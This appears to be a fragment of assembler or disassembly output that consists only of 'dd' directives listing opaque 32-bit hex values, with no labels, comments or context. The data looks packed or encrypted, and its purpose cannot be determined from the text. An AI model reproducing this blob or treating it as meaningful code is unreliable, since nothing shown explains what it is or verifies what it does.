		dd 6D108854h, 5D6EE92h,	0C683308h, 52868016h, 0CC587C67h
		dd 87913D3Ah, 26A808B2h, 4444950h, 3E64FED4h, 77579D9h
		dd 4C33BC67h, 6924A051h, 655C28A4h, 0F3B40767h,	52401116h
		dd 48AC8C63h, 14160EC5h, 82651EA9h, 941066E8h, 6AC46840h
		dd 76B3E4Ch, 2CCA9858h,	4CD73317h, 0D4144150h, 60DA24EFh
		dd 99F9042Dh, 7C368329h, 0D4BC59A9h, 88005308h,	0C9111078h
		dd 0A42864h, 5C19CB1Ch,	0DCC244BAh, 0F96CEC00h,	90264C45h
		dd 0DB665809h, 5611841Dh, 18DC007Ch, 9C9468B9h,	210099F6h
		dd 267412D0h, 0CF6F19E4h, 22EF1568h, 0A09C66E7h, 1C5D39B4h
		dd 88CDB000h, 0BF015F29h, 14AE198h, 1A5C0EBh, 0E8725887h
		dd 70C81303h, 86F60053h, 2B2074B8h, 140071FCh, 6848F244h
		dd 7532F8h, 221F7881h, 0C49447ACh, 8761C00h, 12A2F9B4h
		dd 203E00D4h, 3C237868h, 0BE00C472h, 0B1FA5048h, 48996601h
		dd 7C587931h, 0C424AC09h, 22EE2B40h, 0A20FE00h,	28184473h
		dd 123E0589h, 90602454h, 90227E9Dh, 0B87FA2FEh,	0DA4DCA7Fh
		dd 95FA02E9h, 0E132F008h, 36ED2616h, 9142ECh, 4460224Eh
		dd 8E897E70h, 0AAFEB7B0h, 33015400h, 29D611C4h,	10E40309h
		dd 897536B8h, 582445B8h, 95560126h, 7856681Eh, 99985841h
		dd 11CDBA1Ch, 0F4D6AD30h, 0F887C0E0h, 2076068Ah, 992A462Ch
		dd 241F3C13h, 0FC416056h, 20945384h, 344B0D4h, 0E289D2C0h
		dd 2F0F212h, 1A3E0677h,	382A9F09h, 1D404A57h, 91864870h
		dd 0A8223F98h, 0E638BCB3h, 4C9F8FBh, 4814C878h,	365C91FEh
		dd 5A45023Ah, 0C0740143h, 14098213h, 90A42590h,	898C800h
		dd 7239656Bh, 6C836E13h, 0AF6842FFh, 4303106Ah,	72759074h
		dd 6E67008Fh, 0E685473h, 643B610Ch, 36168049h, 0FC304644h
		dd 723A0043h, 633DF269h
		dd 5300BF61h, 6F10C675h, 65316Eh, 2B76444Ch, 456D7017h
		dd 4AB07E00h, 0DB49CE18h, 60F127h, 0B335007Ah, 0D372FB56h
		dd 22013775h, 0E1AEC46h, 96C44151h, 7063636Fh, 1CD8574Ch
		dd 1A00196Ah, 512A995Ah, 0E428D3h, 57181079h, 68BC6469h
		dd 54FA6100h, 754D6F0Ch, 42B8016Ch, 34A27974h, 2E56F0BBh
		dd 2D69210Eh, 7A42DF87h, 0C36E0EDAh, 63C2F800h,	1B790070h
		dd 0D0FAC451h, 601E6269h, 45C04A72h, 18934178h,	0CA1100A4h
		dd 12D2BE7Dh, 7B785339h, 0D670F900h, 416F6605h,	24DFA23h
		dd 0D27764CBh, 0AEDE4630h, 0FF6D6100h, 74493A59h, 53271E34h
		dd 0DC24C012h, 6F1C6745h, 8F74E43Dh, 0A0896DD3h, 55E9BA6Eh
		dd 1497435h, 1DA8805Dh,	0FC2C9083h, 63005850h, 92C67365h
		dd 3A4AE0h, 531962ACh, 1A0A74D4h, 706F5003h, 85714Bh, 90144598h
		dd 0DC21664Fh, 0FC521F00h, 776E550Ch, 0A2643B3Eh, 18BFAA80h
		dd 735F7EEFh, 0A8B2F600h, 0A59C7048h, 64D03B31h, 44865680h
		dd 2DA110A6h, 7AD15300h, 7928EE4Ah, 6DFE00B4h, 0FB695439h
		dd 3F3E1EA5h, 0E55C10h,	951A2A43h, 764FBECAh, 0B89A00D2h
		dd 93754999h, 6C017214h, 79E64B5Eh, 0DB6248h, 0D23A6414h
		dd 0A0EE6A26h, 676ED30Fh, 534D40A1h, 0D761E3h, 4B6F4252h
		dd 76303D75h, 69709400h, 0BE09A53Ch, 0E4190067h, 0A44B2156h
		dd 0EC00960Eh, 8ECD4F29h, 3F27A86Eh, 7D806AA7h,	0DACA23B4h
		dd 500070DBh, 927494CCh, 7CD8D4FAh, 966607B8h, 0A16F4816h
		dd 70A9493Bh, 0BD00CA07h, 9452C93Ch, 14A156F7h,	9074ED4Ch
		dd 299F9107h, 26C02E14h, 52256A8Ch, 7C7ABC00h, 0F984D454h
		dd 0B87A53h, 6947230Eh,	154CD6BBh, 0AFEE3Ah, 2A22E964h
		dd 393E1F6h, 0C412EA28h, 0D5F19B41h, 92A7CC14h,	6A405200h
		dd 75FC7960h, 706D0048h, 0F49859BEh, 0C32687C4h, 2A0090E2h
		dd 0B29D774Ch, 10B6074Dh, 806BEAA9h, 80AE73A4h,	0B17F3C07h
		dd 72E04A86h, 1EFB3744h, 5EC66D02h, 919C4069h, 561841BAh
		dd 73CACD02h, 7596451Dh, 0B5E80763h, 41004F88h,	2ECE6471h
		dd 36D3273h, 6BB63656h,	0C2DE1F8Ah, 0A9192C00h,	824445A6h
		dd 66FC5Ch, 61702824h, 69414ABAh, 0C8675600h, 16644914h
		dd 0C7300B9h, 50120AB5h, 190F356Eh, 248B1Eh, 1A724159h
		dd 9B880AB4h, 8FAB43h, 9F52BA48h, 9A003996h, 0CEC66E25h
		dd 0B0B167h, 4B90B3D6h,	122EAC15h, 4A645B00h, 488C6329h
		dd 0DD940244h, 5F676F0Dh, 28EF6D60h, 9D13C87Fh,	4E008AA2h
		dd 0B46F5C35h, 14550375h, 47817EDFh, 0C248C0BCh, 5F380197h
		dd 0BF0152B0h, 100070ECh, 16E3CE0h, 300708h, 472C270Ch
		dd 1E9E6F38h, 449F4007h, 4C47481Fh, 54875067h, 6AC762A7h
		dd 7AC772E7h, 8AE782E7h, 9AE792E7h, 0AAE7A2E7h,	0BAE7B2E7h
		dd 0CAE7C2E7h, 0DAE7D2E7h, 0EAE7E2E7h, 0FAE0F2E7h, 1310287h
		dd 4712270Ah, 0E822671Ah, 3207A72Ah, 42E73AC7h,	52474A27h
		dd 62875A67h, 72C76AA7h, 82E77AE7h, 0B6E7AEE7h,	0C6E7BEE7h
		dd 0D6E7CEE7h, 0E6E7DEE7h, 10E1EFE0h, 0C9180032h, 0D887D180h
		dd 1C0033CFh, 9D953446h, 0F8EE1DDBh, 0FC355864h, 4041E91Eh
		dd 44C92936h, 0D800D7D1h, 62723826h, 767F74h, 7A95788Ah
		dd 7EA77C9Dh, 0BB74B172h, 0D778D176h, 0F800E57Ah, 839021Ch
		dd 0EE1D169Dh, 1E24019Eh, 1F429F36h, 0D95DD151h, 0E970E165h
		dd 0F983F176h, 53A3F189h, 0BEF3B4A4h, 0D4F3C8F3h, 0F0F3DFF3h
		dd 0FE98F6F0h, 1F3A5C00h, 4BE82AE4h, 1637EECh, 0F89AF482h
		dd 0CBE2FCA2h, 394740AFh, 3A00673Bh, 3C970E85h,	0D74EA4h
		dd 0F6CFDD8Eh, 843FF0Fh, 93133D00h, 0B323A31Ch,	39C30032h
		dd 0B4E35BD3h, 0F000BCF3h, 0E45F3E41h, 3D6AE864h, 0DC1DD6ECh
		dd 0F5F840F4h, 3F393AFCh, 590085B0h, 833C773Bh,	7C3E8B3Dh
		dd 70E838BEh, 0CCE02085h, 295C192h, 0D89B613Ah,	4D013C45h
		dd 5C3E533Dh, 68C9633Fh, 0E246ED0h, 0A89F3281h,	0B68EAE4Eh
		dd 0E60FE0CFh, 1087F840h, 27001C31h, 923B4424h,	0F7495A18h
		dd 390E23D4h, 0CA3AC43Fh, 2087FC3Bh, 104E3E32h,	5CCF548Eh
		dd 4FB60F03h, 0C3CA8FC1h, 0E0E0D3D0h, 3AC3E9h, 51934133h
		dd 61B35BA3h, 0D30369F4h, 0F375E36Fh, 0F086907Ch, 5534002Dh
		dd 7FE873E4h, 0E1F487ECh, 0F8E7F400h, 3912FCEFh, 3A2A0035h
		dd 3C36484Bh, 91073D7Dh, 8B0E9F3Eh, 0B6439E90h,	90C10037h
		dd 0E4F138B2h, 17E23901h, 3C4B8FA8h, 773D6203h,	0C838B13Eh
		dd 0BA92B9h, 0BCE2BBAEh, 3C2A8EF6h, 704E521Dh, 0EDCB381h
		dd 7DE0283Dh, 3E090183h, 0A35B9335h, 0C4EFFCABh, 9900C970h
		dd 4B0F7C06h, 7E969E1h,	0F9BCF18Bh, 80D087C5h, 5BB653FBh
		dd 496E9207h, 0C8C0B8BEh, 39D4BA24h, 0E000DAFCh, 0FF9FBC91h
		dd 32090D87h, 832F2717h, 0D08F6725h, 0EADA794h,	0C0E7B8C7h
		dd 0DD80CB4Eh, 0BA43E3E5h, 15330200h, 1FA21A93h, 4FC039A7h
		dd 5CC5578Eh, 0CF74BEA0h, 2A00C382h, 63903634h,	31FFC38h
		dd 393C443Bh, 0EAB0DB3Ah, 3D00031Eh, 0F8B35CA4h, 0BAB2C9h
		dd 2404841h, 300D21BCh,	0D1F42B7Ch, 95D97F00h, 4C31E1E0h
		dd 714800F2h, 4B753973h, 79006977h, 7D7E7B72h, 221C85h
		dd 0F79DCE33h, 587FE1Dh, 27C43400h, 354E41FFh, 94C800F9h
		dd 1CC67236h, 5F0E3724h, 2004EC9Dh, 0B9C71538h,	64480047h
		dd 3332D059h, 0E4003F3Dh, 0EC50E846h, 369F05Fh,	85F873F4h
		dd 0A7939BFCh, 0CC92B5A0h, 3AC37E39h, 2DD026C9h, 0E89FDF9Eh
		dd 0F980F11Fh, 73E031Ch, 1D0D009Dh, 1E179E11h, 33139F1Bh
		dd 351D381Fh, 5600479Eh, 0EE4F6092h, 8ECF3977h,	9E3B963Ah
		dd 0AE3DA63Ch, 0BE24B63Eh, 1C30082h, 23930D3Fh,	0B347A30Fh
		dd 0D374404Fh, 398AE37Ch, 0AA3A90F3h, 0DE3CBB3Bh, 0FCF20079h
		dd 450BC84h, 1E20364h, 93063000h, 0B327A319h, 4FC21231h
		dd 0F90D07C9h, 50802773h, 9A8AFC32h, 0F27E2639h, 0AA76A274h
		dd 0BA00B278h, 242CC24Dh, 128778F3h, 0F1E320Ch,	676747F5h
		dd 0A73CA034h, 4C03C444h, 0FC6438CCh, 0A374936Ch, 792787Ch
		dd 7E8E928Ch, 47A4279Ch, 87B467ACh, 0CAC4A7BCh,	9FD41FB3h
		dd 9FE49FDCh, 80F49FECh, 33041CFCh, 144C9D0Ch, 9F2CC0E0h
		dd 0B03C1F34h, 90B092h,	0A24F5492h, 296CC964h, 6287A403h
		dd 938CE784h, 0B79CA394h, 4FAC0FBFh, 0CFBC8FB4h, 0CFCCCFC4h
		dd 0CFDCCFD4h, 0D3ECCFE4h, 0E1FC1D00h, 0B0C3404h, 1CD114C9h
		dd 2C9380F5h, 73023FEBh, 7744753Ch, 3E547B4Ch, 1F7DB85Ch
		dd 9F74BF6Ch, 9E849F7Ch, 5F94DF8Ch, 24ABC09Ch, 0D69FA6B7h
		dd 0E8E8DCE4h, 8702FCECh, 27083504h, 1E8BDE0Ch,	0A7188014h
		dd 0E720C71Ch, 32002472h, 0B6D344E4h, 0E470F36Ch, 69CBA274h
		dd 84E98084h, 8CF988F1h, 0C0F9A0F9h, 0CCF9C8F9h, 0D4F9D0F9h
		dd 0DCF9D8F9h, 0E4F9E0F9h, 0FCF8E8F9h, 6C7548h,	76287472h
		dd 43304C2Ch, 387C7A00h, 405D3C7Eh, 0A8EADC20h,	0E380666Fh
		dd 9026E788h, 9819F74Ch, 0CCF9ACEFh, 0D8F9D4F9h, 0E0F9DCF1h
		dd 4461BD21h, 0F0F9ECF9h, 0EF4F8h, 4E2C370Ch, 0CF388E34h
		dd 400F3C01h, 488F444Fh, 50E94CE1h, 6419C1F2h, 8CE984E1h
		dd 94F990F1h, 9CF998F9h, 0A4F9A0F9h, 0ACF9A8F9h, 0DCF9BCF9h
		dd 0AC9E4F8h, 0F056A7E8h, 0F2F894F0h, 3809EE00h, 47146087h
		dd 3C67341Dh, 0B5A440CAh, 0F34C6603h, 0A3549350h, 0A95CB258h
		dd 98BF07BDh
		dd 0B54F9CE5h, 0CFA8CFA4h, 0D6B0CFACh, 0BFB8D70Ah, 0F000B1A8h
		dd 0A8E9F4F2h, 181FBFCh, 0AC740439h, 0FD10EC0Ch, 0F840FC20h
		dd 4CFC481Ch, 541D509Dh, 5C1E589Eh, 0AD24609Fh,	789F681Fh
		dd 0A09F989Fh, 54B3A49Fh, 0BAB0F0ACh, 47E69B8h,	44C0AD01h
		dd 0F93F71D0h, 43ADCFDh, 5070E53Fh, 0F409143Bh,	0A28F818h
		dd 41DA3B01h, 0E82470EAh, 0F339A3A4h, 0F3B8F3B4h, 0F3C0F3BCh
		dd 0F2C8F3C4h, 4DC3CCh,	0E4083B78h, 0EC10E80Ch,	18F0140Bh
		dd 0EB476F4h, 805924FCh, 3874AB3Ch, 61F3749Ah, 819A8026h
		dd 3699709Ch, 89C1FAD0h, 0BFDCF9D8h, 5E43F7Ch, 3C74C7F4h
		dd 472050C0h, 28670024h, 30A42C87h, 1F00ED85h, 5002B2FFh
		dd 26783EE9h, 3A8D7CF9h, 880F843Bh, 904F8CFDh, 98CF948Fh
		dd 3A0FA8CBh, 0D48FD0CFh, 0DCCFD8CFh, 0E4CFE0CFh, 0ECCFE8CFh
		dd 4F8F0C0h, 2400723Dh,	30762C74h, 7A3478h, 40F1FF38h
		dd 48F9F061h, 64E84CE4h, 8F3875D5h, 0CCA0CF9Ch,	0FCAC7DA4h
		dd 6470C0C0h, 0F0FCEC98h, 0F729EADDh, 0E4043E80h, 4CE808h
		dd 8AB26CECh, 20642658h, 8870600Bh, 84558081h, 0D27232h
		dd 0DA76D674h, 0E27ADE78h, 7EE67C0Eh, 8EEE4EEAh, 0F6CFF2h
		dd 76FE5DFAh, 3A060039h, 2E0E3B0Ah, 34E87012h, 2F0042F8h
		dd 0C699235h, 1BD1B6h, 48FAEA25h, 723813E4h, 0ED74CC1Eh
		dd 408E070Eh, 0AA3B923Ah, 47AF0027h, 81DE67BBh,	10033C0Bh
		dd 4FD12AC9h, 0A6E1C8D9h, 8EE300E9h, 4E3E3D14h,	820E8A6Fh
		dd 0A0C89598h, 7D3F185Ch, 3BA800BAh, 3DCE3CC1h,	0F61F3EE7h
		dd 2A800F0Eh, 8195644Eh, 6701C32h, 132CC06Ch, 88753033h
		dd 0F0AC1400h, 0F8C6F4BDh, 3139007Dh, 2CA83A8Bh, 2E00C4B1h
		dd 7674BCACh, 0D978BFh,	559F77Ah, 3B2A3A6Ah, 502C3900h
		dd 1F56AC5Ah, 0A79F39A0h, 0EB00B03Ah, 851C0993h, 6397469Dh
		dd 7A3FC8ECh, 20BF0059h, 0A4357D0Eh, 8E00BE4Eh,	3689C3CDh
		dd 0E5939Bh, 0BB0F7A3h,	77E44B37h, 78849A02h, 80CA7ABBh
		dd 381D1CD1h, 3A93002Bh, 700F7253h, 65004F5Bh, 6EA76A89h
		dd 0E47BE775h, 0EC86E880h, 93E4018Dh, 0F39E78D3h, 0F2A9C8A3h
		dd 7469AE03h, 93D9F9C1h, 0B7EEA3E2h, 307235E0h,	9C0D306Eh
		dd 289E1F6Ch, 72311E30h, 3969664Fh, 7B3A72CFh, 0BA00803Bh
		dd 9CFEDACAh, 3C00931Eh, 3C9244Fh, 1953B7Fh, 0F249BE92h
		dd 0F4F0E1E7h, 0E4031E08h, 9E2EDD31h, 9268B855h, 0D24F2E71h
		dd 9DBD1C8Dh, 0C9DE00D5h, 142661F2h, 3B0E3800h,	24633C54h
		dd 0E184B71h, 0D58EC549h, 6FC4DDC9h, 243E1700h,	641E627h
		dd 0C9160F3Fh, 0D921D121h, 0FD34E12Fh, 3383320h, 78122294h
		dd 0A98CE583h, 508C07F2h, 25947E2Ah, 0A065D298h, 74A867E9h
		dd 0B4FCB069h, 6F2EC09Bh, 714BC897h, 0D873A5D0h, 4EE075D0h
		dd 500F07E4h, 20F0CFECh, 4BF8C9F4h, 2325600h, 79600680h
		dd 783B898h, 9CC30893h,	0D3143010h, 0F3F8E318h,	240E2072h
		dd 207028F2h, 0EF3402C9h, 581303AEh, 27647C82h,	0E474E7E8h
		dd 88B497EFh, 9496C91Ch, 0AA922461h, 0B84BC480h, 0C9C4D60Fh
		dd 0D861C813h, 38DC7102h, 58DCC496h, 9A05DA27h,	0C8043107h
		dd 1807645Bh, 283FA2E2h, 34243021h, 40E1BD21h, 967248E9h
		dd 7D587B7Eh, 98645C60h, 5C707E7Eh, 0BD79A78h, 9C909029h
		dd 0F400A024h, 0B493AC9Fh, 56C01A82h, 0D825AB70h, 0F0E81E11h
		dd 31B04EF0h, 320ED60Eh, 890CE008h, 0CE4E114h, 22D4389Eh
		dd 0E8004A31h, 33258803h, 719348h, 16B2BBA3h, 42744650h
		dd 78537600h, 17987A67h, 0D53700B4h, 69389007h,	39005E21h
		dd 312C71E7h, 1DD7C9A2h, 803CE3D1h, 0D3B030Bh, 2200BC27h
		dd 37872D67h, 1CC741A7h, 9D56E74Ch, 0E56B0061h,	8BB49276h
		dd 0A0BE4907h, 207FC834h, 59B8B0C4h, 24B21ED2h,	0FA96C0E6h
		dd 233CF007h, 0C72F2500h, 844167E5h, 0CE92004Bh, 0A3A6C95Ah
		dd 0BCE4AFF9h, 0D7F8E8E9h, 0E3593D07h, 3E10025Ch, 1933F87h
		dd 22B28C49h, 0CC902060h, 0A8020F84h, 7316730h,	330BC0A9h
		dd 12477FBh, 0E826DCA0h, 70D1EC9Dh, 4000B266h, 940E524Ah
		dd 37C3DAh, 0DB938A36h,	66BB21A3h, 0C2E5CA00h, 61D2EA46h
		dd 30A50058h, 2F723A5Eh, 5D3B7E74h, 685C02A9h, 0C22EE43Eh
		dd 2CEC40EBh, 8E45014Eh, 0A751CBEDh, 0D347F014h, 3D126100h
		dd 0D152C92Dh, 0B0D9006Eh, 0EC874A65h, 39013E1Eh, 7A475E27h
		dd 0C4ECBF67h, 3F0201A1h, 0D11AC907h, 246A875Ah, 0A0E0E49Dh
		dd 0F980Ch, 5F302D15h, 0C0B32A0Eh, 320B6400h, 0E8A3E44Fh
		dd 0EC9E0E52h, 0C05DA11Dh, 50343887h, 0B0006E24h, 35394A46h
		dd 0F5D3A58h, 7CCEFE7Eh, 0E8EFE420h, 0D003B4FBh, 959D1A1Ch
		dd 7B01A024h, 3D73063Ch, 5A4E747Fh, 0E6F0BF00h,	0F17E3EBAh
		dd 10C7513h, 79D28312h,	0CCC3A7B3h, 0E279C0D3h,	0FBA46909h
		dd 72A40070h, 187412h, 28782276h, 537C4B7Ah, 5C7E39h, 146F5A69h
		dd 23F82C2h, 8CAD26A7h,	9269BF9Fh, 0E0D3D9CDh, 0E12693D9h
		dd 0CA17744Fh, 0B0443500h, 1C018404h, 0C007D4E4h, 9E43E90Dh
		dd 2103C31Bh, 2FE229D3h, 3F5AE8D0h, 4BE60009h, 0F95DE0C1h
		dd 0C3B07865h, 84227E01h, 0B4BC9C54h, 47E2CCh, 0D4DDE4CDh
		dd 152C056h, 9A163100h,	7825764Ch, 3D7A0C2Dh, 63C34B7Ch
		dd 719EC6DDh, 7F9F791Eh, 8F9F871Fh, 0A79F9D9Fh,	0B300B593h
		dd 0D20FC34Eh, 0D7CF39D1h, 0E3C9DD00h, 0F8FADAC1h, 5A32010Eh
		dd 1E54270Eh, 2D0F27F0h, 8B330F4Fh, 69E1A15Ch, 0FCC8A834h
		dd 0AC004E35h, 61170C09h, 0D068F2h, 0C3723786h,	0A00FCF4Bh
		dd 2303EE01h, 0FF93D538h, 0F390BE0h, 0E92AE418h, 5843B200h
		dd 62697C56h, 9AB300B1h, 0E4B73FA0h, 0B30900CAh, 9E24BF3Ah
		dd 444BD2DEh, 1EF12CE0h, 7F6C2BD9h, 743B6780h, 962E8624h
		dd 0DCC2AC02h, 0C012D0B8h, 0C44929h, 7CC2DA2h, 0D8E7D416h
		dd 0A0DCE40Eh, 0E8FC8082h, 3E1088h, 1C741872h, 3DE22059h
		dd 2C4C287Ah, 342D00CBh, 0E73C1E07h, 444E440h, 92A048E4h
		dd 78FDA050h, 114BB594h, 18639016h, 4F1A9C2Ch, 0AC1F3022h
		dd 5A6074EAh, 7A004FB8h, 0C1E8CBE0h, 72F9F032h,	96F874F4h
		dd 43F007Dh, 0C8641CAh,	0E110D900h, 1C8A2414h, 922007FCh
		dd 27487E8Ch, 49544050h, 2E009058h, 0E0763C60h,	0C1E1F0h
		dd 218B250Ch, 8A0BA428h, 9C902D00h, 0DB72337Dh,	3E73D4Fh
		dd 13340680h, 22A21993h, 2CAE6900h, 38F10571h, 643C07F9h
		dd 0BD9A464Ah, 4F3B206Ah, 880F6F13h, 2BCBCEC1h,	47B6807Fh
		dd 630E6756h, 23B06F84h, 90FAFC8Eh, 3D390Ah, 9A4A261Fh
		dd 8A15649Eh, 3FE9F258h, 0B73E002Fh, 0DE07C32Dh, 0F38500E2h
		dd 4894A254h, 390026DDh, 885C9522h, 5CAB8050h, 27325BAh
		dd 8C0CCC4Ch, 15C0F810h, 2E009C6Dh, 55966417h, 7E79D882h
		dd 0F9EF0049h, 0EC468F5h, 6D003166h, 16A9734Bh,	18CD605h
		dd 0DA48ACA6h, 0D007AD2Fh, 0C100E4BBh, 0DC19D249h, 0EDF9E5h
		dd 0F824CC6Ch, 9D0D9CDEh, 223C1D71h, 5E7A80BFh,	735B6B7Ch
		dd 86D4010Bh, 0F993AE41h, 0D0B2C999h, 3E1C78BAh, 0CD9DC73Fh
		dd 0E02EF30Fh, 11330B36h, 1E1C728Eh, 4035CF21h,	73FCC147h
		dd 96E489F9h, 6858A5E8h, 28B900F2h, 32E4D41Fh, 99EC00A2h
		dd 72F162EAh, 2E00087Ch, 0AA963C8Bh, 0C36C83h, 0E2F2D0F3h
		dd 0FB7E10F8h, 3508160Fh, 4062E01Ah, 0C348B3h, 0E250D34Ch
		dd 5C38C954h
		dd 6860F907h, 0CA302C6Ch, 9D529Ch, 8377166Bh, 0A3D39630h
		dd 0F3AFE300h, 0C9CEF2BCh, 68E700DAh, 37060E1Eh, 63004329h
		dd 7C936F38h, 1DB28EA3h, 0EE4E5894h, 0C44F81F4h, 78CCC60Fh
		dd 3BD43A60h, 0C3DC01D8h, 95593953h, 0EB30DE71h, 84F47Fh
		dd 0E6E3D5D3h, 0BF0F9F3h, 9E623A00h, 0A078127Ch, 0BAA7014Eh
		dd 7E6C9808h, 4FD6C8C7h, 600E3000h, 0CAD8D50h, 0E6481DDDh
		dd 707540E1h, 0BD723D82h, 9594E00h, 5083DE42h, 9233003Fh
		dd 3832544Dh, 1072012h,	397730A2h, 9B258E30h, 0B21E0241h
		dd 46E9C7E1h, 2A4EDAE0h, 0FE903200h, 0C1CE476h,	9D180033h
		dd 9E531D2Bh, 25001468h, 213507D2h, 3275036h, 4F724557h
		dd 0FA98F0B0h, 37480383h, 0A32201BFh, 0E95BB22Bh, 0F1EE20h
		dd 58B4688Dh, 0EF93F0Ch, 80381B3Ch, 0D28BCB4Eh,	0F27241h
		dd 939F47Ch, 96120F2Ch,	56836A03h, 0F899E38Fh, 70AC9A6h
		dd 3BA84128h, 0D1737069h, 9302A83h, 0D32ED402h,	1EDB72F9h
		dd 0DC3CE8h, 3A39A604h,	327A3B27h, 643D451Dh, 0C4846EC0h
		dd 3C04AC9Eh, 19BCE73Fh, 0F05DA280h, 46BA0380h,	25D1F900h
		dd 0EE332ED9h, 7765723Fh, 0C09F0199h, 4E57C597h, 4B1BD80Eh
		dd 0D4A5B925h, 30CC0130h, 0ECE0501Ch, 70000F65h, 0C1228BBBh
		dd 0D15FBCh, 347ED96Fh,	1696A30Ch, 4B00B9E2h, 0AEC0E4DAh
		dd 0C5E3214h, 0CDA82238h, 0FE13498Ch, 980039DCh, 789ED46Eh
		dd 0A07D2F12h, 1FF47570h, 0B897AD00h, 344B6480h, 0B6E4095Ah
		dd 3160C7E8h, 0C80092D8h, 216C690h, 4B1D0F35h, 2FEB00F2h
		dd 599F471Eh, 920B65EEh, 7E2A06Bh, 811B9500h, 0AFE7AA06h
		dd 3EF0B9D0h, 0D383C834h, 0E27E16BAh, 0F25EED90h, 7200304h
		dd 79810C36h, 8B603322h, 60E40049h, 0E6276CF1h,	0B5E4A43Fh
		dd 4C92F07h, 5AD0E30Ch,	0D3E20h, 279E4091h, 0E0FDA3Fh
		dd 0B1C9A100h, 74C564E1h, 83D94A4Ch, 9A0E9AAh, 5998E0B6h
		dd 0AB2D1400h, 41E40F5Bh, 0D8B08Fh, 615FC956h, 7DF9748Eh
		dd 3D9887E4h, 26DE6C01h, 0C39F16AAh, 0DBD0CEC9h, 0E0E60092h
		dd 8495117Ch, 0F000205Ch, 91F43660h, 0FB696F8h,	0C3AB13BEh
		dd 0CEF3C4C2h, 0E376A5D8h, 0F700ED78h, 667801F2h, 762774h
		dd 0F595B31h, 0CD8FC2A2h, 61D8C900h, 0D02CECCEh, 180C778Bh
		dd 6E6C4086h, 941C3E92h, 0C69DB03Fh, 0E580CB1Dh, 8A3C4709h
		dd 0C990005Ah, 4D064002h, 16000FC0h, 7F83095h, 4E0331Ch
		dd 8734C12Fh, 1251C335h, 148AB2C0h, 0DF1FEC1Ch,	0FE9F00BAh
		dd 3AE60B95h, 0A9750024h, 68E956E8h, 0F8017012h, 2E785F04h
		dd 0EE602A06h, 0FA8385Bh, 0B4CFB000h, 0EAA7B8C9h, 0C4E7C000h
		dd 1AF0C8E5h, 1CBE2ED0h, 8BF81CD8h, 9780E0FCh, 76087404h
		dd 10780C00h, 187C147Ah, 741C727Eh, 5F240020h, 30340B28h
		dd 0C70E36E5h, 0C25CE758h, 0D13CF060h, 47806BFEh, 0B954FD8Bh
		dd 0D40DD200h, 0A879106Ah, 0C8B40093h, 2CF8C06Eh, 44003127h
		dd 3C504891h, 5C894Ah, 684F4CE4h, 79744E22h, 800013FAh
		dd 9E8C52C8h, 984454h, 0A42756F2h, 3CB05891h, 0BC895A00h
		dd 0C84F5CE4h, 0D45E0022h, 4E986078h, 8B481C4Ah, 6AD00143h
		dd 10484170h, 58EA3D30h, 4A00FD28h, 38EE8230h, 120BF054h
		dd 60F2A040h, 16089EDh,	68F40B2Ah, 0DC709C61h, 7805F80Fh
		dd 6CC17CC9h, 0D7CB1CB1h, 80E41CD2h, 46890495h,	4FE80350h
		dd 180E0910h, 20776A77h, 4428A807h, 6A41FF68h, 0F6F94089h
		dd 4AA370h, 586E224Ch, 6012FC54h, 68FEA012h, 7000721Ch
		dd 782502ACh, 807C3B04h, 889606BBh, 702AA61h, 60980A09h
		dd 5CA07ED4h, 0C600B64Bh, 0B4F261ACh, 329CB8F9h, 0F2BC000h
		dd 2CBC81Ah, 0D4B2A4CCh, 33F8EED3h, 56E4F209h, 0F0432726h
		dd 0F892F420h, 0C12E0EB1h, 30292B35h, 51501AE2h, 38F034ECh
		dd 0DD2E4Ch, 0DE2F4497h, 0BC4CCA4Ah, 9CC960F9h,	0ECE442A4h
		dd 3812565Fh, 0C0B4A10Eh, 4EBC26B8h, 0B2C40092h, 5EC3E464h
		dd 0F400F3F0h, 4CCBF8F2h, 43681h, 506508C9h, 7601BDC2h
		dd 0FF8BC04Eh, 609082EAh, 15E863E8h, 1144EB0Eh,	90DB8782h
		dd 0B00A2EB5h, 18DE4D01h, 902944BBh, 2B18DD03h,	8311719Dh
		dd 30D833BDh, 2FE989ADh, 0F0E832Eh, 3B053E85h, 0E0308D18h
		dd 95FF5027h, 7D31EC20h, 1BDC6089h, 9D8DF88Bh, 5311ED66h
		dd 36E8432Dh, 42287979h, 445721FAh, 0D48B4E7Dh,	56186A49h
		dd 68046A07h, 0EAA01006h, 38ABDF46h, 42684C6Dh,	3AA37526h
		dd 0C70C2A45h, 3774E853h, 51C87F8Bh, 0B5E10FBDh, 0A4F31B41h
		dd 7623ACE2h, 5036A380h, 0E8D57E3h, 2C51850Eh, 0C3C007EFh
		dd 409C010Ah, 9063211Dh, 70082080h, 1347843Ch, 18C1452h
		dd 21CC38FDh, 0E1F8D750h, 5002057h, 142C330Ah, 16F85h
		dd 9D8B04FFh, 0CC02A55h, 74DB0B07h, 3600A7Ah, 598587h
		dd 8DF08919h, 1171B531h, 2C3E832Eh, 0D36A8403h,	8B40A847h
		dd 1F047846h, 829968E4h, 638501Eh, 30559A90h, 560DECC3h
		dd 309F88Bh, 0A0BBA09Dh, 0F29AA051h, 807102h, 2D706EBDh
		dd 0FE4C7501h, 9408501h, 50033E8Bh, 0FF1EFCh, 7C6370Eh
		dd 8FD7A7C3h, 8FDFF6F9h, 3BA54C4h, 5506E983h, 333F80B5h
		dd 0C90B01DBh, 781C0374h, 0C4C06F1Ah, 0A308BBh,	4304D8E9h
		dd 0EDEB0149h, 0F81E292Dh, 0C6CD00A5h, 0FA4C76F3h, 0E0B70DE0h
		dd 0E66258A6h, 36E248h,	2F90CC1h, 0E18DA5F3h, 3C037700h
		dd 88535EA4h, 809C0750h, 679B8582h, 0B27D7108h,	0C198607Ah
		dd 0FF0745F6h, 64E402A9h, 95E129F0h, 864B3B55h,	2B0F1980h
		dd 417574D0h, 100F60B5h, 0B88A0046h, 3235D67h, 4C2E3A6Dh
		dd 8B007CFFh, 8834E54h,	0ACD10073h, 66ADCA7Dh, 0C10B07EFh
		dd 0DF910CEBh, 0B9DBB00h, 161F5002h, 201F033Dh,	812F2CC0h
		dd 3FFE314h, 1F79820Fh,	0D4990401h, 0FBB2E51Dh,	462D0EB8h
		dd 0A4E03FE7h, 0D9B800E2h, 4B61DC9Eh, 350128Bh,	0C0460E2h
		dd 7140C085h, 0EB835380h, 0D8EA09C2h, 0F000C7A2h, 3275260Ch
		dd 16530700h, 6E0429F0h, 0C74A004Dh, 0A9413BB4h, 460EC403h
		dd 0C0664706h, 0ED6A107Ah, 0B71B0057h, 1A7ED618h, 0B000FA51h
